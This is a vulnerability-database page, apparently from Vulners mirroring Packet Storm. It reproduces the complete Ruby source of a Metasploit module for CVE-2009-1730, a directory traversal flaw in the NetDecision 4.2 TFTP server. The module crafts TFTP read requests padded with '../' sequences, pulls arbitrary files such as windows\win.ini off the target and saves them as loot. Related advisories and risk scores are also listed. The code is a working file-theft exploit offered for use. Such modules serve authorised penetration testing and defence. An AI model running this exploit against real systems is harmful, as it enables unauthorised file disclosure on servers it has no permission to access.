Lucene search
+L

NetDecision 4.2 TFTP Directory Traversal

🗓️ 31 Aug 2024 00:00:00Reported by Rob Kraus, juan vazquez, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 250 Views

NetDecision 4.2 TFTP Directory Traversal vulnerability exploi

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
NetDecision 4.2 TFTP Writable Directory Traversal Execution
10 Aug 201200:00
zdt
circl
Circl
CVE-2009-1730
10 Aug 201200:00
circl
checkpoint_advisories
Check Point Advisories
Ipswitch TFTP Server Information disclosure (CVE-2009-1730)
30 Dec 201200:00
checkpoint_advisories
cve
CVE
CVE-2009-1730
20 May 200918:00
cve
cvelist
Cvelist
CVE-2009-1730
20 May 200918:00
cvelist
exploitdb
Exploit DB
NetDecision 4.2 - TFTP Writable Directory Traversal Execution (Metasploit)
10 Aug 201200:00
exploitdb
metasploit
Metasploit
NetDecision 4.2 TFTP Directory Traversal
8 Aug 201214:26
metasploit
metasploit
Metasploit
NetDecision 4.2 TFTP Writable Directory Traversal Execution
8 Aug 201214:28
metasploit
nvd
NVD
CVE-2009-1730
20 May 200918:30
nvd
openvas
OpenVAS
NetDecision TFTP Server Multiple Directory Traversal Vulnerabilities
29 May 200900:00
openvas
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "NetDecision 4.2 TFTP Directory Traversal",  
'Description' => %q{  
This modules exploits a directory traversal vulnerability in NetDecision 4.2  
TFTP service.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Rob Kraus', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2009-1730'],  
['OSVDB', '54607'],  
['BID', '35002']  
],  
'DisclosureDate' => '2009-05-16'  
))  
  
register_options(  
[  
Opt::RPORT(69),  
OptInt.new('DEPTH', [false, "Levels to reach base directory",1]),  
OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']),  
])  
end  
  
def run_host(ip)  
  
  
# Configure how deep we want to traverse  
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']  
# Prepare the filename  
file_name = "../" * depth  
file_name << datastore['FILENAME']  
  
# Prepare the packet  
pkt = "\x00\x01"  
pkt << file_name  
pkt << "\x00"  
pkt << "octet"  
pkt << "\x00"  
  
# We need to reuse the same port in order to receive the data  
udp_sock = Rex::Socket::Udp.create(  
{  
'Context' => {'Msf' => framework, 'MsfExploit'=>self}  
}  
)  
  
add_socket(udp_sock)  
  
# Send the packet to target  
file_data = ''  
udp_sock.sendto(pkt, ip, datastore['RPORT'].to_i)  
  
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])  
  
opcode, block, data = r[0].unpack("nna*") # Parse reply  
if opcode != 3 # Check opcode: 3 => Data Packet  
print_error("Error retrieving file #{file_name} from #{ip}")  
return  
end  
file_data << data  
udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack  
  
end  
  
if file_data.empty?  
print_error("Error retrieving file #{file_name} from #{ip}")  
return  
end  
  
udp_sock.close  
  
# Output file if verbose  
vprint_line(file_data.to_s)  
  
# Save file to disk  
path = store_loot(  
'netdecision.tftp',  
'application/octet-stream',  
ip,  
file_data,  
datastore['FILENAME']  
)  
  
print_status("File saved in: #{path}")  
end  
  
#  
# Returns an Acknowledgement  
#  
def tftp_ack(block=1)  
  
pkt = "\x00\x04" # Ack  
pkt << [block].pack("n") # Block Id  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 210
EPSS0.5451
250